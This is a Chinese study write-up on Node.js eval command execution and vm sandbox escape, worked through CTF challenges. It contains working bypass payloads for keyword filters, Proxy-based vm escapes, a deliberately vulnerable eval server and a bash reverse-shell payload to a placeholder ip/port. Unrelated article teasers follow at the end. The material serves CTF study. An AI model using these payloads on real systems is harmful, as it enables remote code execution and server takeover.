Node.js之沙盒专题


Node.js一直是薄弱项,今天特意整理一下,基本上是各个大佬写的大杂烩,仅用于学习记录~~~
在这里插入图片描述

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件,这里列一下除fork外其他函数的用法。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn

2.模块利用----Eval

知道了模块使用可以执行命令,那怎么样触发模块呢?
构造这么一个服务端来使用复现

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

难度一 原始模型

#传参
require("child_process").execSync("curl 127.0.0.1:1234")
#是能够正常执行的。

在这里插入图片描述
这是最为简便的,如果升级过滤exec呢

难度二 字符伪装

改为这样

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

当我再用原来的就会显示forbidden,这种该如何绕过?

方法一: 16进制编码

原因是在nodejs中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

console.log("a"==="\x61");
// true

但是在上面正则匹配的时候,16进制却不会转化成字符,所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过

方法二: unicode编码

思路跟上面是类似的,由于JavaScript允许直接用码点表示Unicode字符,写法是”反斜杠+u+码点”,所以我们也可以用一个字符的unicode形式来代替对应字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
方法三 加号拼接

原理很简单,加号在js中可以用来连接字符,所以可以这样

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

加号必须url编码,否则无效

方法四 模板字符串(用的很多)

相关内容可以参考MDN,这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

require('child_process')[`\${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
方法五 concat连接

利用js中的concat函数连接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
方法六 base64编码

这种应该是比较常规的思路了。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这个的不同就是eval里面再套了eval进行先执行base解码

js内置语法绕过

前面的都是符号里面的字符进行过滤,如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做?

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。
在这里插入图片描述

譬如要得到eval函数,可以首先通过

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

即可得到eval
拿到eval之后,就可以常规思路rce了
这里貌似还有一个require的绕过代替

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里还有个小trick,如果过滤了eval关键字,可以用includes(‘eva’)来搜索eval函数,也可以用startswith(‘eva’)来搜索

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
[]绕过

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。
所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

例题:

如果waf是这样

var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
  return !validInput.test(func_code);
};

先写出原型,最好是用特定字符最少的base64编码
这里单引号可以用反引号代替

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

特意去尝试了发现基本的都能这么代替。
这里过滤了base64,可以直接换成

`base`.concat(64)

过滤掉了Buffer,可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

payload

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

3.沙盒逃逸

经过这些大概有了相对了解,但这只是Node.js的模块执行,关于沙盒逃逸到底是怎么回事。
比较清楚的沙盒概念

例题一

[0xGame 2023]week2 ez_sandbox

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}
app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {
        let code = req.body.code
        let sandbox = Object.create(null)
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

可以看出有一个原型污染role为admin进行。再看关键部分

let code = req.body.code
        let sandbox = Object.create(null) //此时this为null,所以得利用arguments.callee.caller
        let context = vm.createContext(sandbox)
        
        try {
            waf(code)
            let result = vm.runInContext(code, context)//沙盒运行
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }

在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message
属性 (即 e.message)

通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter
使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数
同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

原payload

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

关于c变量的构造
或者

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
	const c = arguments.callee.caller
	const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
	return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

例题二:

[NKCTF]全世界最简单的CTF
源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
 
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
 
app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})
 
 
function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}
 
app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})
 
app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})
 
 
app.listen(3000, ()=>{
    console.log("listen on 3000");
})

沙盒

  let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }

常规思路:发现Object.create(null)
想到了cc用arguments.callee.caller
先写出原型

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截
 	get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数
 		const c = arguments.callee.caller;
 		const p = (c.constructor.constructor('return process'))();
 		return p.mainModule.require('child_process').execSync('whoami').toString();
	}
})

找到waf

   let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;

发现我们需要绕过
在这里插入图片描述

process绕过

方法一

return process==String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

方法二
发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();
exec绕过

上面介绍过用reflect映射方法绕过

Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))

这里a变量要定义先,a就是function,function又由外部作用域的proto来获得
所以

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller; //外部作用域
            const p = (cc.constructor.constructor('return global'))(); //function函数
            const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
            return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");//因为没有[],用reflect来进行拼接
        }
    })

上面这种是根据过滤的强行绕过,比较复杂,还有另外的解
方法二
在这里插入图片描述
找到最简单的一种
方法三

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

预期解
在这里插入图片描述
Node.js的绕过还是很多样,但实际运用复杂程度很高,大佬的绕过姿势太多了…
后面由例题会一一归纳(仅用于记录学习)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/486634.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

滤波器自动化测试:用网络分析仪、示波器、功率计测量功率

滤波器的功率是电压与电流的乘积,滤波器的功率可以通过测量电压与电流计算得出。滤波器的功率对滤波器的稳定运行是至关重要的,如果功率过小可能会导致滤波器无法正常工作;功率越大则有可能会造成滤波器的损坏。因此滤波器的功率测量是非常重要的步骤。 …

基于51单片机的客车汽车安全气囊控制器Proteus仿真

地址:https://pan.baidu.com/s/10enj1EYm_0Z8f_19Sz_eCQ 提取码:1234 仿真图: 芯片/模块的特点: AT89C52简介: AT89C52是一款经典的8位单片机,是意法半导体(STMicroelectronics)公…

第一周周考技能

文章目录 1月1. 任意输入一个3位整数(100~999,包含100与999),判断输入的整数是否是质数,如果是质数则输出是质数,否则输出不是质数2.“降序数”是指一个自然数的低位数字不大于高位数字的数。例如&#xff…

工单系统大揭秘!选择工单系统需注意的关键因素!

如何选择工单系统?工单系统作为数字化工具,可以帮助企业高效处理工单业务问题,助力企业数字化转型。目前市面上的工单系统可谓是琳琅满目。 本文详细讲解了目前市面上工单系统的主要类型,以及企业该如何选择工单系统~ 一、工单系…

怎样批量在文件名后面加上相同的字符?

怎样批量在文件名后面加上相同的字符?在日常工作中,有时我们需要对大量文件进行批量处理,比如在文件名后面统一添加相同的字符。这项工作可以通过编写简单的脚本或程序来实现,从而提高工作效率。批量在文件名后面加上相同的字符是…

JS-13-高阶函数

一、高阶函数的定义 JavaScript的函数其实都指向某个变量,如: var abs function (x) {// 函数体 }; 既然变量可以指向函数,函数的参数能接收变量,那么一个函数就可以接收另一个函数作为参数,这种函数就称之为高阶函…

CCF-CSP认证考试 202212-2 训练计划 100分题解

更多 CSP 认证考试题目题解可以前往:CSP-CCF 认证考试真题题解 原题链接: 202212-2 训练计划 时间限制: 1.0s 内存限制: 512.0MB 问题背景 西西艾弗岛荒野求生大赛还有 n n n 天开幕! 问题描述 为了在大赛中取得…

shell实现查询进程号并批量kill(脚本)

问题或需求描述 在shell中,如果你想通过命令行查询出一系列匹配某个关键词的进程,并使用xargs命令批量结束这些进程,可以按照以下步骤操作: # 查询并提取进程号 pgrep -f "关键词" | xargs kill# 或者,如果…

Qt 用任意直线来分割多边形,返回分割后的多边形

任意直线分割多边形,返回分割后的多边形 效果 使用示例 QPolygonF LineSegmentationPolygon(const QPolygonF& poly, const QLineF& line, SideToRemove sideToRemove)源码 enum class SideToRemove {None,Left,Right};// 直线分割多边形 QPolygonF LineS…

多叉树题目:N 叉树的前序遍历

文章目录 题目标题和出处难度题目描述要求示例数据范围进阶 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 解法三思路和算法代码复杂度分析 题目 标题和出处 标题:N 叉树的前序遍历 出处:589. N 叉树的前序遍历 难度 3 级 题目…

10-shell编程-辅助功能

一、字体颜色设置 第一种: \E[1:色号m需要变色的字符串\E[0m 第二种: \033[1:色号m需要变色的字符串\033[0m ########################### \E或者\033 #开启颜色功能 [1: #效果 31m #颜色色号 \E[0m #结束符 1,颜色案例 2,效果案例 二、gui&am…

波奇学Linux:网络接口

127.0.0.1本地回环ip&#xff0c;用于本地测试&#xff0c;不会进行网络通信 TCP是面向连接的&#xff0c;服务器比较被动 需要服套接字监听 listen状态 正常通信默认会进行主机序列和网络序列的转换 TcpServer.cc #pragma once#include<iostream> #include<string…

GAMES101 学习4

材质和外观 材质 BRDF 漫反射 任何方向的光进来都会被均匀的反射到周围各个不同的方向上去 假设能量守恒&#xff0c;那么 Li Lo&#xff0c;这之后BRDF就 &#xff0c;就可以定义一个反照率 &#xff08;Albeo&#xff09; - &#xff0c;在&#xff08;0 - 1&#xff0…

【包远程安装运行】SpringBoot+Mysql实现的图书商城平台+演示视频+开发文档(论文模板)

今天发布的是一款由SpringBootMySQL实现的在线图书商城系统源码&#xff0c;系统主要实现的功能分前台用户和后台管理。 前台功能主要有&#xff1a; 图书物展示、图书分类展示、图书搜索、用户登录注册、图书收藏、图书添加购物车、用户个人信息修改、用户充值提交、购物车图…

【Linux基础】ubuntu虚拟机配置及原理

一、虚拟机 虚拟机&#xff08;Virtual Machine&#xff0c;VM&#xff09;是一种软件实现的计算机系统&#xff0c;它在物理计算机上模拟了一个完整的计算机硬件环境&#xff0c;包括处理器、内存、存储设备和网络接口等。通过虚拟机&#xff0c;用户可以在单个物理计算机上同…

扭矩衰减的影响因素及改善措施——SunTorque智能扭矩系统

智能扭矩系统-智能拧紧系统-扭矩自动控制系统-SunTorque 扭矩衰减是许多机械系统中常见的问题&#xff0c;特别是在长期运行或高负荷工作环境下。扭矩衰减不仅影响设备的性能&#xff0c;还可能引发安全隐患。因此&#xff0c;了解扭矩衰减的影响因素及采取相应的改善措施至关…

Python Flask框架 -- ORM模型的CRUD操作(增删改查)

CRUD操作 使用ORM进行CRUD(Create、Read、Update、Delete)操作&#xff0c;需要先把操作添加到会话中&#xff0c;通过db.session可以获取到会话对象。会话对象只是在内存中&#xff0c;如果想要把会话中的操作提交到数据库中&#xff0c;需要调用db.session.commit()操作&…

Navicat Premium 16中文---数据库管理与开发的强大引擎

Navicat Premium 16是一款功能强大的数据库管理工具&#xff0c;旨在为用户提供高效、便捷的数据库连接、管理和保护体验。该软件支持多种数据库系统&#xff0c;如MySQL、Oracle、SQL Server等&#xff0c;满足用户多样化的需求。通过直观的图形界面&#xff0c;用户可以轻松进…

电脑中msvcp140_codecvt_ids.dll丢失的解决方法,实测有效的方法

在计算机使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;其中最常见的就是缺少某个DLL文件。而msvcp140CODECVTIDS.dll就是其中之一。那么&#xff0c;msvcp140CODECVTIDS.dll是什么&#xff1f;msvcp140CODECVTIDS.dll文件属性又是什么呢&#xff1f;msvcp140C…

探索LLaMA模型:架构创新与Transformer模型的进化之路

引言 在人工智能和自然语言处理领域&#xff0c;预训练语言模型的发展一直在引领着前沿科技的进步。Meta AI&#xff08;前身为Facebook&#xff09;在2023年2月推出的LLaMA&#xff08;Large Language Model Meta AI&#xff09;模型引起了广泛关注。LLaMA模型以其独特的架构…